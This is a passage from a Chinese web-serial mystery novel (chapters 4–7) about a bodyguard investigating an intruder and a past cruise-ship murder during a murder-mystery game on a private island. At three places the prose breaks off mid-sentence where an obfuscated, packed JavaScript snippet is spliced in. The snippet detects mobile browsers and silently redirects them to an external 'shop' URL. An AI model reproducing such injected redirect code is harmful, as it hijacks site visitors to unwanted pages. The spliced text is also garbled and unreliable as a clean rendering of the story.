他应该是向她走来时,顺手摘下了墙上的装饰石雕,然后无声无息地接近她,对着她的后脑砸下去。 思绪引得傅悠悠后脑伤口一阵刺痛。 她蹲下身,想象着当时自己倒下后,那个人是怎么俯身拖拽着自己的胳膊往屋门口挪步的。 忽然她动作停下来,目光锁定在床边。 在那人拖着晕倒的傅悠悠往屋门口走时不免要蹭到的位置,静静躺着一个墨绿色东西。 她从口袋拿出手套,上前将东西捡起来。 是一片已经干枯的海草。 这片海草卷成一团,大概有三分之一个手掌大小,里面夹杂了几粒细小的贝类。 傅悠悠在不弄碎海草的前提下,小心翼翼将其中一粒抖落掌心,观察片刻,将东西全部收到随身携带的证物袋中。 这应该是那个闯入者遗落的。 上面虽然很难检测出有用的生物痕迹,但也许可以根据海草和贝类的特征,大致确定那个人上岛的地点,在那里,她或许还能找到更多线索。 刚将证物袋收回内兜,忽听身后响起人声:“你来这里干什么?” 转身去看,站在身后锁眉盯着她的正是顾汲问。 4. 第 4 章 顾汲问向她走过来,脸上还带着残留的灰败感,目光却是灼灼。 前天那个闯入者从背后接近她的时候,是否也带着这样的眼神? 傅悠悠内心突然升腾一阵寒意。 “自告奋勇当我的贴身保镖,却丢下我跑到这里来?”顾汲问挑眉问。 或许因为刚才的呕吐,他声音里也带了沙哑,即便如此,他的声音与那天她听到的完全不同。 “我看顾总跟胡总何美待在一起很安全,就抽身过来查找线索。如果能发现确定性的线索,直接锁定那人身份就好了。”傅悠悠道。 “所以,发现了什么线索?” 傅悠悠并不想分享自己的发现。 “什么都没有。”她摇头,想了想又道,“不过,刚才听到胡总说话,我突然想起晕倒前曾经听到那个人的笑声,沙哑的,是那种有些狰狞可怖的沙哑……你懂我的意思吗?” 顾汲问蹙眉回忆刚才见面时的场景。 胡翊风和胡翊云一直都有迎风哑嗓的毛病,每次吹到冷风嗓子就会哑上一阵,他对此习以为常,傅悠悠不提,他甚至没有在意。 “你的意思是,胡翊风的声音跟那个私闯者有些相似?” 傅悠悠点头:“是非常相似。但这岛是他家的产业,胡总肯定不会偷偷摸摸地私闯。您说是吧?” 顾汲问没有答话,沉默片刻,才开口道:“在这个活动里,你最好不要相信任何人。从现在起,不允许再离开我的视线。” 顿了几秒,又道:“不为别的,跟在我身边保护我的安全是你的本职工作。” 傅悠悠觉得他最后这句有些刻意,谁也没问他为什么。 正想着,顾汲问的手机响起。 接通后,电话那段传来清亮的女声:“汲问,快来,我们已经到了。” 这次活动名单里,除了何美,就只有一个女性——方圆科技集团的继承人方晚栀。 顾汲问闻言看了看时间,“胡翊云也到了?他上午还跟我说他会晚一些。” “他来不了啦,急性肠胃炎,刚跟我通过电话,把活动主持和DM的重任都交给我了。” “他是活动主办人,他竟然不来了?”顾汲问皱眉,“肠胃炎很严重?” “还用问么,这可是卷王胡翊云,要不是实在下不了床,怎么可能放人鸽子。”方晚栀叹了口气。 顾汲问:“这么严重,需不需要推迟活动,去探望一下。” “胡翊云说不用,他都跟媒体都约好了宣传时间,那边等着用咱们活动的影像和照片。要是因为他耽误了宣传,那他才真是要疯了。对了,翊云不来剧本杀缺了个人,正好听说你带了一个美女保镖,赶紧带回来大家认识一下……” 挂断电话,顾汲问看向傅悠悠:“一会儿他们可能会邀请你参加我们的剧本杀,你不想参加的话可以拒绝,反正岛上还有一个厨师。” 傅悠悠在社交媒体看到过这次活动的策划方案,参与者会在岛上不同的地点,上演一场寻宝剧本杀,一方面能展现岛上几个比较有出圈潜力景点,一方面也更加有趣味性。 而这个剧本杀的标的物,当然就是傅悠悠前天送上岛的那枚佛珠。 反正都要跟在顾汲问身边,参与到剧本杀里反而可以增加互动机会,不管怎么说,游戏同伴总比贴身保镖更方便套话。 “可以可以。我会认真参与的。”傅悠悠对着邀请她参加的方晚栀连连点头。 方晚栀作为近几年商界表现优秀的女性代表,经常与顾汲问和胡翊云一起出现在新闻的商业板块。 傅悠悠对她并不陌生,不过见到本人还是头一回。 她没有照片里看起来中那么高,但气场却十足。 合体的休闲套装,五官线条很柔,眉目里却带着英气,给人一种下刀利落杀伐果断的女将军的既视感,难怪胡翊云会放心吧活动主持工作交给她。 而她身后还站着两个人,其中一位是参与活动抽奖选出的幸运网友,傅悠悠在参与者名单里见过他的网名“杰杰杰哥”,自我介绍时,他用了自己的真名:蓝少杰。 另一位不需要介绍,傅悠悠也认得,正是方晚栀的老公,池易。 当年他与方晚栀闪婚入赘方家的事引发热议,接连几天挂在热搜上。 这件事说起来,与顾汲问也有些关联。 因为这个池易,曾经是顾汲问的手下。 当年顾汲问创业的时候,池易颇受重用。 大概两年半前,他突然跟科技新贵方氏家族的独女方晚栀爆出恋情,当时已经是设计部部长的他丢掉做到一半的项目离职,直接进入方家旗下的子公司,不久就升任总经理。 但顾氏这边的项目,却因为他的突然离职蒙受损失,顾汲问亲自下场参与才勉强挽回局面。 不过,大众对于这些事了解不多,只知道他是个穿上水晶鞋的“灰姑爷”,因为高攀贵女一夜之间走上人生巅峰。 每每谈起,总少不了人表示羡慕嫉妒恨。 但傅悠悠发现,从出现起,池易就只是客气地向几人点头致意,其余时间都退在方晚栀身后,甚至不如蓝少杰说的话多。 顾汲问对这位前属下的冷淡态度自不必说,就连胡翊风也对他爱答不理的。 看得出这个豪门赘婿并不好当。 几人寒暄一阵,方晚栀从客厅立柜里取出一沓册子和几包衣服,招呼大家言归正传,来抽取剧本杀角色。 “翊云说游戏场地在北院别墅那儿,已经按照剧情背景做了改装,而且每个角色都有对应的服装,绝对的沉浸式哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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蓝少杰一直对在场的几位资本大佬十分客气,但此时不免有些意外,愣了一下才道:“呃,顾总愿意的话当然可以。不过您刚才也听到了,我这个角色可能不太适合您,是扮演悠悠的侍卫。 扮演自己保镖的侍卫,难道不会很难入戏吗? 顾汲问几乎没有犹豫,点头道:“嗯,我知道。换一下吧。” 方晚栀拿了侍从衣服来,听见顾汲问要换角色,看了一眼他抽到的角色剧本哈哈笑道:“你是不是怕你那个角色要带秃头头套?你想多了,那个角色是俗家小僧,不剃发的。连池易扮演的主持都只是带个僧帽而已,不会让你真带秃头头套的。” 顾汲问没搭茬,也不解释,只是语气淡淡地坚持:“还是换一下吧。” 演什么角色对蓝少杰来说没有区别,很快就顺从地跟他换了剧本。 分好服装和剧本,方晚栀建了一个群,把这次活动相关的几人都拉了进去。 傅悠悠低头修改自己的群备注,突然手机屏幕闪出一条提示。 傅悠悠点开,是一条新收到的短信。 发信时间就在几秒钟前,发信号码是她从没见过的。 而内容非常简洁又直白: 【午休时间。中央小花园喷泉旁见。】 5. 第 5 章 约在中央花园见面,说明发信人现在就在岛上。 但此刻岛上这群人里,知道她电话号的只有顾汲问。 傅悠悠下意识向看向顾汲问。 他正懒洋洋地翻着剧本,姿态放松,只在觉察到傅悠悠目光的时候,侧头淡淡向她看一眼。 他的微信名像他本人一样冷淡得很直白,直接使用了本名,也因此比别人省去了改群昵称这一步,所以手机早就被他放进口袋。 那条短信的发信人并不是他。 傅悠悠瞬间警惕起来。 不是顾汲问会是谁? 她不动声色回复短信:【你是哪位?】 点击发送的同时她听到胡翊风手机发出振动声。 他看向屏幕,嘴角勾起一抹笑来。 笑里似乎带着一股冷意,眼神也透出凶狠的光来。 很难想象脸上一向挂着散漫微笑的胡翊风会露出这种表情,傅悠悠打了个哆嗦。 可他眼里的狠厉稍纵即逝,再看时,早就恢复成了以往纨绔懒散的样子。 傅悠悠甚至怀疑自己刚才是不是紧张之下看走了眼。 给她发送信息的人是他吗? 她看见胡翊风指尖在屏幕上快速跳动,打了几个字之后,在屏幕下方点了一下,似乎已发送。 然而她的手机却一直静默着,再没收到对方的回复。 反而是活动群里弹出一条信息。 厨师小李:【几位老板,午餐好了。】 颠簸一上午,傅悠悠早就饿了。 她暂时放下困惑,跟着众人去往餐厅。 餐厅位于南院别墅二楼,环境很好,正中间安置了一张西式长方形餐桌,十分宽大,足能容纳十来个人。 桌上摆着各式炒菜,主食是炸酱面。 厨师本人则没有露面,她在群里表示自己不舒服回房休息了。 桌上已经摆好了七人份的晚餐和餐具。一份餐具摆在餐桌短边主位上,两边各三份依次摆开。 在确定座位的时候,人们总是会下意识参考自己在群体里的定位。 比如蓝少杰一上来就直接坐到了右手边离主位最远的座位上。 傅悠悠没有多想也跟着坐到了旁边。 而在顾胡方三家中,顾氏家族资质最老,方晚栀和胡翊风很自然地把主位让给顾汲问。 顾汲问说了句“DM坐主位吧。”就径直坐到了傅悠悠边上。 很快余下几人的位子也确定下来。 傅悠悠饿得顾不上什么客套礼节,刚坐下就埋头嗦了一大口炸酱面。 嚼得正香,余光瞥见顾汲问冷着脸坐到了自己旁边位子上。 她这才想起自己的本职工作,正襟危坐问顾汲问:“顾总,有什么需要我做的吗?” 顾汲问瞥向她的视线微顿,随即递给她一块手帕:“把嘴角擦干净。” 傅悠悠尴尬笑笑,接过手帕,将嘴角酱汁擦掉,视线落在他的左手上。 那只他无时无刻不带着的半掌手套下到底隐藏着什么? 傅悠悠暗下决心一定要找机会弄清楚。 正想着,坐在她右手边的蓝少杰凑过来问:“傅小姐是顾总的女朋友?” 这餐桌上,余下两对结伴上岛的,不是夫妻就是情侣,难怪他会误会。 傅悠悠一口面差点呛到,连连摆手:“不是,不是。你误会了。” 蓝少杰恍然道:“那是未婚妻?” “不,不,我只是——” 傅悠悠话到一半被顾汲问打断。 “是我的生活助理。”顾汲问淡淡答道。 傅悠悠回头,见他脸上表情也淡淡的,竟没有预想中被人错认成情侣的不快。 傅悠悠心不在焉地附和:“啊对,我是生活助理来着。” 心下却在思量:他为何要隐藏她保镖的身份?显然是不想提起前天岛上出现过私闯者这件事。 为什么? 是怕这件事令其他参与者不安,还是说他就是那个黑衣人? “原来是生活助理。我在运营自媒体,鉴宝类的,感兴趣的话可以关注一下。”蓝少杰道。 傅悠悠问清对方的账户名,果断关注。 蓝少杰的主页里是各种鉴宝直播的切片,还有一些关于文物的科普,播放量都不算高,唯一小爆的一条是他在直播里宣布自己被官方抽中参加碧竹岛试营业活动的切片,也算是蹭到了这个活动的热度。 “哇,鉴宝,好厉害。”傅悠悠呈迷妹状。 还打算多聊几句,突听桌上“咚”的一声,回头一看,顾汲问把自己那碗面墩到了她面前。 她看看顾汲问,又看看面前那碗还没动过筷子的炸酱面,不明所以,“顾总,是需要我验菜吗?” 顾汲问摇头,递给她一副新筷子:“傅助理,我不吃黄瓜,麻烦帮我把里面的黄瓜丝挑出来。” 傅悠悠一整个大无语,但刚刚亲口承认过自己生活助理的身份,她只好拿过碗筷挑拣起黄瓜丝来。 她知道,顾汲问是故意的。 刚来岛上的时候,厨师曾询问每个人的忌口、过敏源和食物喜好,顾汲问完全没有提到过他不吃黄瓜丝。 当然他也不会幼稚到故意刁难他。 难道他这么做,是怕她聊high了把前天的事说出来? 不想让她聊可以直说,干嘛给她安排这种琐碎的任务啊。她越想越气。 好在厨师小李刀工一般,黄瓜丝切得比黄瓜条细不了多少,并不难挑。 傅悠悠用筷尖拨弄着面条,渐渐全副心神都埋进了碗里,周围的交谈声逐渐模糊,最后融化成一整片白色噪音,忽然想起了小时候的事。 那时候爸爸刚去世,姐姐在寄宿制学校读高三,无奈之下,将还在上小学的她寄养在了一个远房亲戚家。 傅悠悠一直觉得那户人家心地挺善良的,待她还算和善,吃穿用度也都按照拿到的抚养金来安排,不曾克扣。 但那段时间她却生活得很压抑——她总能感觉到来自暗中的注视。 那些视线带着审判:见她不开心,他们会联想到她父亲的死,叹口气,眼神里带着居高临下的怜悯;她开心了,他们又会在门外小声讲她没良心,父母都没了,竟还笑得出来。 那时的窒息感,自姐姐将她从那户人家接出来后,便很少再出现在脑海。 可今天不知为什么,这段回忆再次浮现脑海,而且十分生动。 那道窥视的视线越来越真实,像是穿透记忆,黏在了她脸上,如有实质…… 不,那视线并不是穿透记忆而来,而是来自餐桌对面。 傅悠悠猛地抬起头来。 有人在暗中窥视着她! 餐桌对面的每个人都在忙着自己的事情。 池易夹起一块排骨放到方晚栀碗里,说了句什么;胡翊风将手机推到何美面前,带着坏笑对她耳语…… 她没能捕捉到任何异样目光。 然而她确定刚才被暗中凝视的感觉,是真实存在的。 她后背泛起一阵凉意,深吸几口气才勉强稳住心神。 觉察到她的异样,顾汲问看过来,“不舒服?” 傅悠悠摇头,“没事,可能是低血糖,突然有些心慌。” 顾汲问视线在她脸 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她有父母,有事业,不缺爱也不缺钱,不指望从婚姻里获得这些价值。 当时选择结婚也只是想让父母安下心不再催促,好让她有更多精力经营公司。 所以她对结婚对象只有两个要求:合眼缘,事少。 池易正好是一个合适的人选。 性格温和,长相俊朗,没有复杂的家世背景。能力一般,所以看起来连野心也没有。 人无所求就难有矛盾,婚后他们之间也很和谐,至少方晚栀过得很舒心。 毕竟这段婚姻里掌握经济主导权的是她,池易不管是真心还是假意,总要表现得体贴顺从。 如果不是几个月前她收到那封匿名信,从中了解到三年前那件事的话,她甚至会跟他一直生活下去…… 虽然至今仍不知道那封匿名信的发出者是谁,但她十分感谢祂向她揭露池易的真面目。 她提出离婚后,池易沉默了一段时间,不说同意也不说不同意。 就在她打算联系公司法务直接提起诉讼时,他突然开口答应下来。 但有一个条件,就是再多相处两个月,他说想看看自己还能不能挽回她的心。 挽回是没有可能了,但多相处两个月并不是什么难事。 她不习惯把人逼上绝路,权当给他一个搬出方家的缓冲期,毕竟他找房子搬出去也需要时间。 大概就是从那个时候起,“最后一次了,你都不答应我吗”成了他的口头语。 就连这次碧竹岛之旅也是这样。 邀请函上原本只写了她的名字,池易却执意要跟来,说什么“就当是咱们之间最后一次旅行”。 真像块狗皮膏药。方晚栀冷着脸将那块排骨仍到骨碟中。 何美低低叫了一声:“你别吓我了,知道我胆小还给我看都市传说。” 她把手机塞回胡翊风手里,又在他大臂上重重锤了几下。 蓝少杰被勾起了兴趣,问道:“什么都市传说啊?” 胡翊风倚在椅背上,扫了一眼顾汲问慢悠悠道:“就是关于咱们这次活动要寻的宝,一颗充满都市传说的佛珠。” “我怎么没听说过。”方晚栀看向他,“细说。” 胡翊风笑:“方总每天日理万机,哪有时间关注这些。也没什么额特别的,就是传说它附着诅咒。” 顾汲问用餐巾纸拭了下嘴角,抬眼看向胡翊风,淡淡地问:“什么诅咒,说来听听。” 6. 第 6 章 胡翊风笑着把手机推到餐桌中间,屏幕上是一个公众号文章,详细例数历史上被诅咒的珠宝,排在第一位的就是这枚珠子。 “你直接转发到群里。”方晚栀看不清楚。 “我直接给你们读一读好了。”胡翊风勾着唇拿回手机,清了清嗓子。 傅悠悠注意到初见时他嗓音里的沙哑已经不见了。 方晚栀干脆搁了筷子:“速速读来。” “这颗佛珠原是明代一位高僧的东西,是一串佛珠的顶珠。 “后来朱元璋搞胡惟庸案,这位高僧被牵连进去,那时刑罚严苛,切鼻子挖眼睛都有,这位高僧就被挖去了一只眼睛。死的时候佩戴多年的一串珍贵佛珠散掉了,就留下这颗佛珠攥在手里随着高僧下葬。 “高僧多年修行的善念佛心依托在了这颗顶珠上,而无法排解的怨气就附在了那颗头珠上,变成了诅咒。” 胡翊风语速不疾不徐娓娓道来,听的人心里直发毛。 “什……什么诅咒。”方晚栀追问。 “这个诅咒就是,它的拥有者会莫名丧命。”胡翊风继续幽幽读道,“大概清朝的时候,这颗被盗墓贼偷出来,卖给了当时有名的富商。富商转手把它送给自己的长子,不久,长子出行遭遇山贼埋伏,暴毙山野,据说死状很惨,而且跟那高僧一样也少了一颗眼珠! “再后来,民国军阀首领冯岳不知从哪淘到这颗珠子,珍藏家中。后来你们知道的,冯岳被暗杀,死时同样被挖走一只眼球!” 众人都被他这故事唬住,一时餐桌周围陷入了沉默。 几秒钟后,胡翊风噗一声笑出来:“哈哈哈,看把你们吓的。还真信了啊,等你们老了小心被卖保健品。” “你刚才可不是这么说的。”何美嗔怒道,“你明明说,三年前还有人因为这珠子丧命,你还亲眼看过现场。你又骗我!” “没骗你。”胡翊风眼睛扫过顾汲问,慢悠悠收回视线,几不可查地勾了下唇角,“就是三年前游轮拍卖会那个案子嘛,相信大家都不陌生吧?” 此话一出,几乎所有人都脸色一变,餐桌被诡异的沉默笼罩。 只有何美不知所以地环视一圈,在胡翊风耳侧小声问了句:“什么案子?怎么好像就我不知道?” 胡翊风笑起来:“因为在座大部分人都是那起案子的亲历者。” 他视线逐个扫过桌边的每个人,“当时,我,晚栀,池易都在那艘游轮上。不过奇怪的是,案子发生后,有一个没登船的人却是被调查最久。” 何美顺着他的话问:“这是为什么啊?不在船上却被警方调查……难道警方怀疑这个人买凶杀人?” 胡翊风哈哈笑几声,向着顾汲问扬扬下巴:“你觉得呢,顾三?” 顾汲问眼神里划过一丝晦暗,“那个死者是我当时公司的合伙人,警方怀疑我有犯案动机并不奇怪。排除我的嫌疑后,又多次联系我只是为了了解被害人的人际关系。” 何美这才意识到胡翊风指得这个人就是顾汲问,脸色一白,尴尬得不知说什么好:“抱歉抱歉,我刚才……我只是……” 顾汲问摇摇头:“没关系,你有猜测的自由,我只希望这个案子不要被当做饭后谈资。”他抬起眼皮淡淡看了一眼胡翊风,“实际上,除了何小姐和我的助理,在场的每个人当时都被警方调查过。” 何美微怔,“每个人?晚栀姐也被调查过吗?” “对,案发时间游轮大厅里在举办酒会,船上几乎所有乘客都在会场,警察通过船上的监控录像,锁定了三个在案发时间没有不在场证明的乘客,很巧,其中就有我和翊风。”方晚栀说着,瞥向池易,“这么说来,我跟你最初见面就是在接受调查的时候。仔细想想,我竟然不知道你为什么会被调查。你不是有完整的不在场证明吗?” 池易眼神僵了一下,闪过一丝慌乱,又很快被甜腻笑意覆盖:“因为我是尸体第一发现人,而且死者是我当时的上司,所以警察找我问话也是正常。” 方晚栀还想在说什么,话题却已经被池易转移:“顾总,你刚才说除了何小姐和傅小姐,其余人都被调查过,是不是把蓝先生忘了?” 未待顾汲问回话,胡翊风突然拍一下大腿:“我说这个姓怎么感觉在哪里见过,原来是在警察的调查名单上见过。” 方晚栀也面露恍然,看向蓝少杰:“你就是当时船上没有不在场证明的第三个乘客!” 胡翊风:“没错没错,就是他,我从警察那里瞥过一眼他的照片,当时记录的名字是:护送部蓝主管。” 蓝少杰这才缓缓点头:“是的,当时我在拍卖行工作,正好那次拍卖会轮到我护送珠宝。当时也因为没有不在场证明被警方调查过。” 他环视一圈,眼睛里带着惊诧:“可这是不是有些太巧了。好像与当时案子有关的人全都聚到这里来了。” “没错确实太巧了,就好像有人在刻意筹划什么。”胡翊风再次瞥向顾汲问。 久未发言的傅悠悠突然开口:“可是蓝先生不是被网络抽奖抽中的吗?这似乎更像是冥冥之中的安排,也许那个案子的死者变成鬼也想知道到底谁是杀害她的凶手。” 胡翊风嗤笑一声:“你信?” 傅悠悠点头:“怎么不信?我不久前刚见过一个鬼影。” 顾汲问闻言神色一僵,看向她的眼神划过一丝冷意,几不可查地摇了摇头,示意她不要乱讲。 何美白着脸追问:“真的吗?在哪见的?” 傅悠悠勾了勾唇答道:“就在这个岛上,我前两天登过一次岛。” 胡翊风神色一凛,挑眉问道:“是吗?那鬼长什么样??” 傅悠悠瞥向顾汲问,她终于在他脸上见到一闪而过的慌乱,满意地收回视线笑嘻嘻地瞎扯:“白袍及地,长发遮脸。” “真的?”何美吓得往身后看了好几眼,裹紧了外套,脸色更白了。 傅悠悠笑起来:“假的啦,哪个鬼会穿得这么没有新意。” “啧。”胡翊风撇撇嘴。 池易也跟着笑起来,“我就说嘛,世界上根本就没有女鬼。” 方晚栀冷冷看向他:“没人说是女鬼吧。提到鬼就想到女鬼,我看是你心里住着位女鬼吧。” 池易怔了一下,很快又堆了笑:“怎么会,我只是随口一说。” “可现在这个情况,与那个案子有关的人都出现在这个岛上,真的不是鬼魂显灵吗?”傅悠悠表情严肃下来,视线扫过在座每个人。 餐桌再次陷入沉默,没人能回答这个问题…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924476|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >午餐结束之后,有三个小时的午休和自由活动时间,大家约好四点半直接换好剧本杀的服装去北别墅集合。 碧竹岛的别墅区里只有东西两个院子是供客人住宿的,在活动开始前一天,也就是傅悠悠还在昏迷的时候,原定活动参与者就已经按照喜好选定了住处,行李也已经运到了相应的房间。 胡翊风和何美,还有方晚栀夫妇选的是西院大平层别墅。 也就是前天傅悠悠晕倒的地方。 那个别墅空间宽敞,且装修是时下流行的ins风,胡翊风一上来就定下了二楼的双人卧室,而方晚栀则看中了三楼的两间独立单人间。 这样,西院别墅的房间全部订出,顾汲问和蓝少杰就被分到了东院别墅。 原本傅悠悠作为“镖师”,是要全程住在标的物所在的北院别墅的。 但现在她的对外身份变成了顾汲问的“生活助理”,自然就跟着顾汲问住东院了。 出了南院别墅,众人分两路去往住处。 东院是传统的中式复古风格,院子里有假山回廊,回廊尽头有两栋间隔开来的别墅,顾汲问和蓝少杰各住一栋。 傅悠悠跟着顾汲问进到别墅中。 别墅内部也是中式复古风,在古代建筑布局基础上做了些细节改良,住起来更舒适。 东院的别墅只有两层,不会层高比西院别墅更高些,并不显得低矮压抑。 傅悠悠一进门就看到一楼西北角的佣人房,毫不犹豫提着行李袋走了进去。 顾汲问站在门口向屋内扫视一圈,蹙眉道:“你确定住这里?二楼主卧旁边还有个客卧,会比这里宽敞很多。” “不用老板,我住这里能随时发现院子里的风吹草动,保护你的安全。” 她是疯了才会住到他隔壁! 顾汲问没再多说,转身上了楼。 因为那封约她午休时在中央花园见面的短信,傅悠悠虽然疲惫,却没心思午休,她在房里停留了一会,估摸着楼上顾汲问已经睡着,便悄声溜出了东院。 待她到达中央花园时,喷泉旁还没有人。 观察一圈后,她灵巧闪身躲到喷泉不远处一颗粗大乔木后,盯紧喷泉的方向。 这个位置能够看到喷泉周围大部分空地,东西南北四条小径也都能尽收眼底,背后是茂盛灌木丛,不用担心有人背后偷袭,是个“易守难攻”的绝佳位置。 她不确定谁会出现,但那封蹊跷的匿名短信让她不得不多加防备。 仲夏午后的阳光晒得她后颈有些刺痛,她蹲下身子躲进身旁矮树的阴影中。 都上叶片被风吹动,发出沙沙声响,不远处的喷泉间歇传来淅淅沥沥的水声,大自然的白噪音混杂在一起,让她眼皮不由地开始打架。 就在意识马上要被睡意吞噬时,西边小路传来轻微的脚步声。 傅悠悠立刻打起精神,瞪圆了眼睛,透过枝杈循声望去。 那人头上戴着顶灰扑扑的帽子,低着头走得鬼鬼祟祟。 这人容貌藏在帽子的阴影下,远远地望不清晰。但傅悠悠能确定这人步态与之前那个黑衣人完全不同,而且身高也略矮了一些。 待那人在喷泉前驻足,傅悠悠才终于看清了他的脸。 ……原来是他。 7. 第 7 章 傅悠悠眼里闪过一丝不屑,冷哼一声,从树丛中走出去。 “悠悠。”男人扯起笑脸向前走了一步,隐在帽子阴影下的脸被阳光照亮,正是池易。 “别这样叫我,好像我们很熟一样。”傅悠悠表情很冷,语气冷到足以把人冻住,“方家贤婿,你现在不应该是躲着我走吗,怎么敢主动约我出来见面?不怕被方晚栀看到你的真面目?” “你别这么说啊,悠悠,我跟晚栀是因为感情才在一起的。我当年并没有背叛你姐姐……” “别提我姐,你不配。”傅悠悠拧眉,“喊我出来不会就为了秀恩爱吧?有事说事。” 池易看出她的不耐烦,直入正题:“悠悠,没想到能在这次活动里遇到你,我希望这几天里,你不要在晚栀面前提起当年的事。” “当年的事?你说的是什么事?”傅悠悠的眼神利得像刚磨过的刃,盯在他身上,似乎他一开口就要从他身上剜下一块肉来。 池易知道她并非真的发问,只是不肯配合故意为难他,于是换了方向:“你看你一个女孩子,做贴身保镖不是长久之计。你只要别把事情搞僵,等回去我给你在方圆集团安排一个好工作。怎么样?” 傅悠悠眼神里带着鄙夷,“没想到啊,池易,这么多年了,你还是这么令人作呕。你一个男人都能为了保住赘婿身份低三下四来求我,我光明正大做保镖怎么就不是长久之计了?另外,你有没有想过,方晚栀这么聪明,就算我不告诉她,她就真对之前的事也不会一无所知吗。我看你们午餐的时候互动尴尬得很,你好好反思一下,是不是因为你太傻了?” 池易被说得脸色一白,过了好一会才勉强挤出一丝难看的笑:“我和晚栀感情很好的。” 傅悠悠冷哼道:“感情好还需要你低三下四求我帮你遮丑?真让人寒心啊,三年里在方家争取到的地位,竟然挡不住我一句话?” 这话似乎说到了池易的痛点,他眉头皱了皱,嘴角抿了起来,看得出在努力压抑着火气。 傅悠悠继续输出:“哪怕你不说,活动这几天里我也没想装作认识你。不为别的,纯粹是太掉价了。你没看到吗?你夹给方晚栀的排骨都被她仍到骨碟了,希望你的结局别跟那几块排骨一样可怜。” 池易脸色越来越难看。 傅悠悠解了气,转身要走,忽然又像是想到了什么,停步回过头来:“对了。喜欢吃排骨的是我姐,你连个赘婿都做不明白,真不知道我姐当年是怎么看上你的。” 虽然骂得很爽,但关于过去的回忆在脑海翻涌,让傅悠悠着实难受。 出了中心花园,她一路跑回东院,才总算疏解了心头炽烈的怒气。 回到房间她倒头就睡。 被闹钟吵醒时,手机上有一条顾汲问发来的未读短信。 【准备好后喊我。】 这个“准备好”,就是搞定剧本杀的妆造。 傅悠悠看了一眼时钟,离约好的集合时间只有半个小时了,立刻跳下床打开剧本杀配套的服装包。 她平常穿搭不太讲究,怎么宽松舒适怎么来,而这套衣服则是另一个极端——华丽又极其繁复。 绣花精细的对襟衫、摆长六米的齐腰襦裙,外面还搭了件仙气飘飘的大袖衫,要不是穿过几次汉服,她甚至都不知道该怎么穿。 人的姿态总是不自主地被衣饰影响。 待傅悠悠将最后两粒耳坠带上时,动作都优雅了许多,俨然一个古代富家小姐了。 来不及对镜自赏,她就推门而出。 就在刚才换衣服的时候,她突然想到,现在这个时间点,顾汲问或许也在换衣服,她如果现在上去,搞不好能够看到他摘掉手套后的左手! 所以虽然有些不道德,她还是决定借着喊顾汲问出发的名头,看看能不能闯一下主卧更衣室。 待登上二楼时,她一时有些愣住。 二楼大厅与一楼大厅一样,都是三面环绕式的玻璃幕墙。 墙外竹影摇曳,远处隐隐可见泼墨般的山影。 顾汲问穿着淡青色斜襟布袍,假发束成利落发髻,斜斜倚在玻璃幕墙前的藤椅上,正透过玻璃幕墙眺着远处。 神奇,明明是仆从的服装,竟被他穿出几分清雅出尘的气质! 电灯做成复古灯笼的样子,略显昏黄的光线洒下,更是让顾汲问周身染了些宣纸质感。 这画面,美得不真实。 片刻出神后,傅悠悠看向他端着青瓷茶盏的左手。 即便此刻,他仍旧带着那只半掌手套。 戏服带来的些许好感立刻被理智冲刷干净。 她暗下决心,早晚要揭开那只手套背后隐藏的猫腻! “顾总,我ok了。”她直了直身,出声打断顾汲问思绪。 顾汲问敛了神思,从藤椅上起身,借着灯光看清她的样子,怔了几秒,点了点头。 到北院别墅门口的时候,时间已经到了四点,但院门紧闭着,不像是有人的样子。 傅悠悠打开群聊才发现,一刻钟之前,陆续有人在群里表示衣服难穿剧本难读,要求将集合时间退后一些。 经过一番商量,集合时间延后到了四点半。 “看来只能在外面等一会了。”她抬手擦了擦前额的汗。 刚说完,就看到群聊里多了一条新消息。 顾汲问:【我们已经到了,外面好热。请拿了北院房卡的人尽早到。】 傅悠悠看向顾汲问,他正垂眸看着手机,一副清风霁月的样子,打在他脸上的阳光,都像是加了清凉滤镜。 他真的热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924477|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?怎么一点都看不出? 正想着,突然听到身后院子里隐隐有细微响动。 傅悠悠神经立刻绷紧,现在参加剧本杀的人都还没到,院子里会是谁? 凝神静听,院内有脚步声,好像还混杂着什么滚动的声音。 响动越来越近,终于在门后停下。 傅悠悠紧张地盯着大门。 几秒钟沉寂后,大门突然打开,一个带着口罩的脸探出来…… 傅悠悠吓得一个激灵,看了半天才认出这是厨师小李。 在古月集团参加临聘岗位面试的时候,她们见过一面。 小李似乎也吓了一跳,看清她的样子后,总算是松了口气,对着她点了点头,又看向顾汲问:“老板好,今天的下午茶有苏式绿豆汤和薄荷蜂蜜水,甜品是杨枝甘露,刚才已经送到二楼了。” 她说完推着餐车要走,却被顾汲问喊住。 “等等。” “怎……怎么了?”小李有些紧张。 “把北院别墅门卡借我们用一下,晚餐时还给你。”顾汲问说着将放在餐车最上层的门卡拿走。 多亏了小李有北院别墅门卡,傅悠悠和顾汲问得以进到室内享受冷气,不用继续在外面被仲夏的阳光炙烤。 一楼笑面佛还像前天那样在大厅中央打着坐,那个傅悠悠发现黑衣人的落地窗被印着砖墙图案的厚实窗帘遮住,整个大厅俨然是一间古庙的“佛堂”。 笑面佛已经按上了眼珠,傅悠悠却还是不免想起那日看到的空洞眼眶,她未做停留,径直上了二楼。 